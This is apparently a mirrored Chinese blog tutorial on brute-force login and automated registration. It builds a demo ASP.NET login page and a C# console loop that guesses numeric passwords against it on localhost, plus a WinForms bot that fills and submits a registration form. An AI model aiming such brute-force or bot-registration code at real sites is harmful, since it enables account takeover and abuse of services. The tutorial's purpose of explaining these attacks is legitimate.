zoukankan      html  css  js  c++  java
  • 8.暴力破解和暴力注册原理

    暴力破解原理:其实就是根据服务端一定的规律并让程序利用循环的方法计算得到一定值和服务的值进行比对,下以为实例:

    我们做个登录的网页,例如已知道登录账号但不知密码,程序利用一定的算法来进行密码计算并试图登录即可。就是用到了表单的get方法。

    1.网页端源码及图片:

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %>
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head runat="server">
        <title></title>
    </head>
    <body>
        <form id="form1" runat="server">
        <div>
        
        &nbsp;用户名: 
            <asp:TextBox ID="user" runat="server"></asp:TextBox>
            <br />
            &nbsp;
            密码:&nbsp;&nbsp;<asp:TextBox ID="pwd" runat="server"></asp:TextBox>
            <br />
            <br />
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
            <asp:Button ID="Button1" runat="server" onclick="Button1_Click" Text="login" />
        
        </div>
        </form>
    </body>
    </html>

    登录事件:

     protected void Button1_Click(object sender, EventArgs e)
        {
            if (user.Text == "admin" && pwd.Text == "385")
            {
              Response.Write("登录成功");
            } else
            {
                Response.Write("登录失败");
            }
        }

    2.暴力破解程序,我们用控制台程序,用form的get方法进行登录,并把每次登录后显示的页面信息下载下来,检测是否包含“登录成功”或“登录失败”的提示:

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Net;
    
    
    namespace 暴力登录工具
    {
        class Program
        {
            static void Main(string[] args)
            {
                WebClient wc = new WebClient();
                wc.Encoding = Encoding.UTF8;
                for (int i = 0; i <= 500; i++)
                {
                    string url = "http://localhost:41227/%E6%9A%B4%E5%8A%9B%E6%B5%8B%E8%AF%95%E7%BD%91%E7%AB%99/
    Login.aspx?__VIEWSTATE=%2FwEPDwUKLTg0OTIzODQwNWRktqe6OJB9bx7EaHoMFfAFt9gSRby7B1Aqlrw7c9hxaTQ%3D
    &__EVENTVALIDATION=%2FwEWBALNo%2BDqDwLcgpeMBwLGmdGVDAKM54rGBhGpzXSJGMO%2BlM0lOHdH7yyvNt9ejUlsQI8PwbNQCll2
    &user=admin&pwd=
    "+i+"&Button1=login"; string s = wc.DownloadString(url); if (s.Contains("登录成功")) { Console.WriteLine("破解成功,密码为:" + i); break; } } //Console.WriteLine(s); Console.ReadKey(); } } }

    上面的viewstate等是用httpwatch抓来的。

    暴力注册原理:就是在浏览器得到html源码,并知道要操作的元素的id,然后用dom等方式进行注册,注册是程序自动算出来的。

    1.网页设计

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Register.aspx.cs" Inherits="Register" %>
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head runat="server">
        <title></title>
    </head>
    <body>
        <form id="form1" runat="server">
        <div>
        
            用户名:&nbsp; 
            <asp:TextBox ID="user" runat="server"></asp:TextBox>
            <br />
            密码:&nbsp;&nbsp; 
            <asp:TextBox ID="pwd" runat="server"></asp:TextBox>
        
        </div>
        <asp:Button ID="Button1" runat="server" onclick="Button1_Click" Text="注册" />
        </form>
    </body>
    </html>

    点击button后把账户和密码写在一个文件中

     protected void Button1_Click(object sender, EventArgs e)
        {
            File.AppendAllText(@"d:\myrecord.txt",DateTime.Now.ToString() + ":" + user.Text + "->" + pwd.Text + Environment.NewLine);
        }

    以下为暴力注册程序:

      我们在winform上放一个webbrowse控件,在属性框中设定它的URL指向我们要操作的站点,并在form上放两个textbox,用来用户输入帐户和密码,点击button进行注册,就像是操作在网页上一样。如下图

    点击button1后的代码:

    private void button1_Click(object sender, EventArgs e)
            {
                if (txtuser.Text.Length <= 0 || txtpwd.Text.Length <= 0)
                    return;
                webBrowser1.Document.GetElementById("user").SetAttribute("Value", txtuser.Text);
                webBrowser1.Document.GetElementById("pwd").SetAttribute("Value", txtpwd.Text);
                webBrowser1.Document.GetElementById("button1").InvokeMember("Click");
            }

    用webbrowse就像用dom语法一样简单,InvokeMember 是调用网页中submit的click事件。

  • 相关阅读:
    ArcGIS 9.4的技术展望 (转)
    逻辑斯蒂方程的应用
    Logistic混沌映射(转)
    投入产出分析的应用和编制方法
    在matlab中实现逻辑斯蒂映射
    国内的城市GIS面临的机遇和挑战(转载)
    arcgis中曼哈顿距离、路网距离、near工具、Point Distance工具的使用
    apache no services installed 安装apache后没有服务
    LoadRunner录制脚本问题收集
    16进制枚举值 转换为枚举类型
  • 原文地址:https://www.cnblogs.com/yagzh2000/p/3114959.html
Copyright © 2011-2022 走看看